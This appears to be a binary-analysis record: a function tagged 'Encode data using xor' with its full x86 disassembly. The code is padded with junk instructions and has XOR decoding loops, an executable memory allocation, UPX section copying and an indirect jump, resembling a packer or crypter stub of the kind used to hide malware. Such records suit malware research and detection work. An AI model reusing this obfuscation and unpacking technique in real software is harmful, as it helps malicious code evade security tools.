Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x25b7c7fd
inc ecx
mov eax, 0x988cf073
not ecx
popal
sub eax, 0x749e02ef
dec ecx
add ecx, 0x20d390cc
mov edx, 0
mov ecx, ebx
not edi
mov esi, 0xf387d0b5
and esi, esi
mov eax, ecx
mov esi, edi
add edi, 1
mov esi, edi
mov ebx, eax
add esi, edi
and esi, esi
add edx, 1
add esi, 1
add edi, edi
dec esi
cmp edx, 0x1001f8d
jne 0xa789cd
mov esi, 0x30a4ced2
not edi
dec ecx
not eax
mov ecx, eax
mov eax, 0xa78796
or ecx, esi
add ecx, ecx
inc edx
mov edi, 0xa7898a
or edx, esi
sub edx, 0xb9bc5074
mov ebx, dword [eax]
mov esi, ecx
mov esi, 0x9f025c7c
mov edx, esi
and ebx, 0xff
sub edx, ecx
or edx, ecx
sub esi, edx
xor dword [edi], ebx
sub esi, 0x23261a05
sub ecx, edx
and ecx, edx
inc edi
sub esi, edx
add edx, esi
mov ecx, esi
inc eax
not edx
add ecx, edx
or ecx, edx
cmp edi, entry0
jl 0xa78a28
add edx, ecx
and esi, esi
mov ecx, edx
sub ecx, 1
not ecx
sub esi, 0x4d3aef7d
mov edx, 0xa7898e
not ebx
mov ecx, 0xc6c26d3
mov edx, dword [edx]
sub ebx, edi
and esi, ebx
mov edx, dword [edx]
not edi
not edi
mov esi, edi
push edx
inc ecx
add ebx, ebx
mov edx, 0xa7898a
add ecx, edi
add edi, 0x99f1d27d
dec ebx
mov edx, dword [edx]
mov ebx, 0xe16578e1
not edi
sub edi, 0x9f9ff21c
mov edx, dword [edx]
and ecx, ebx
sub ebx, edi
inc ebx
sub esp, 4
mov dword [esp], 0xa78992
add esi, edi
mov edi, ebx
and ebx, ebx
call edx
mov ebx, ecx
sub ecx, 1
sub ecx, esi
mov edx, dword [esp]
add esp, 4
add ebx, 0x16005a07
mov ebx, edi
push 0xa7899f
dec esi
inc ecx
add edi, 0xdaa32742
sub esp, 4
mov dword [esp], eax
inc esi
or ecx, ebx
call edx
mov ecx, ebx
add esi, edi
sub ecx, 1
push 0x40
sub ecx, esi
or ecx, edi
push 0x3000
inc esi
mov edi, ebx
push 0x20000064
and ecx, ebx
and esi, esi
sub edi, 1
push 0
add ecx, esi
or ebx, edi
mov ecx, ebx
call eax
add edi, ecx
sub esi, 1
inc esi
add eax, 0x1fffffcc
sub esi, ebx
or esi, ecx
mov edx, 0xeff14100
mov esi, ecx
sub ebx, ecx
mov ecx, 0x62a97821
mov dword [eax], edx
mov esi, ebx
sub esi, 0x4c005310
dec esi
mov edx, dword [eax]
add ebx, 0x2172cec
not esi
mov esi, edi
cmp edx, 0xeff14100
je 0xa78b7b
mov edx, 0
mov dword [edx], ecx
and edi, ecx
sub edi, ebx
not ecx
sub ecx, edi
add esi, 0xb48c7e42
sub ecx, eax
add eax, 0x84c99874
and ecx, ecx
mov edi, section.UPX1
add ecx, 0x536b93fc
sub eax, 0xf2b9e597
mov esi, 0xa78795
or ecx, ecx
not ecx
dec ecx
mov edx, 0
add ecx, eax
add eax, 1
mov ebx, 0xa78796
dec eax
inc eax
or eax, eax
lea ebx, [edx + ebx]
sub ecx, eax
and ecx, eax
mov ebx, dword [ebx]
dec ecx
inc ecx
and ebx, 0xff
and ecx, eax
sub ecx, 0xc1cf7fc1
inc edx
add eax, eax
not eax
cmp edx, 0x1f4
jne 0xa78bef
mov edx, 0
sub eax, 0xe8598d84
mov eax, 0xfc2c5ccb
sub eax, 0xd2878e97
inc eax
xor dword [edi], ebx
not ecx
dec ecx
add edi, 2
sub eax, 0x4b9dabac
not ecx
add ecx, ecx
cmp edi, esi
jl 0xa78bbb
mov ecx, 0x6773f287
and eax, eax
mov eax, 0xba2a71c0
dec ecx
mov eax, 0x82f786b5
mov ecx, section.UPX1
mov edi, ebx
dec ebx
not ebx
mov eax, section.UPX1
mov edi, 0x3963ed94
add ebx, ebx
mov esi, 0xa78795
not edi
sub edi, ebx
mov edx, 0
not ebx
or ebx, ebx
add edi, 0x4e05acd
mov dl, byte [eax]
add ebx, edi
dec edi
mov byte [ecx], dl
mov edi, 0x85d6a6d1
mov ebx, edi
mov edi, 0x694ad956
add ecx, 1
not edi
sub ebx, edi
add edi, 0x2063132
add eax, 2
inc edi
mov ebx, 0x9bb6ab06
cmp eax, esi
jle 0xa78c5e
sub edi, 0x7251321f
or edi, ebx
and ecx, ecx
sub eax, ecx
mov eax, 0x7873288c
push 0x8dc6a0
sub eax, 0x74b711bb
add eax, ecx
add eax, eax
ret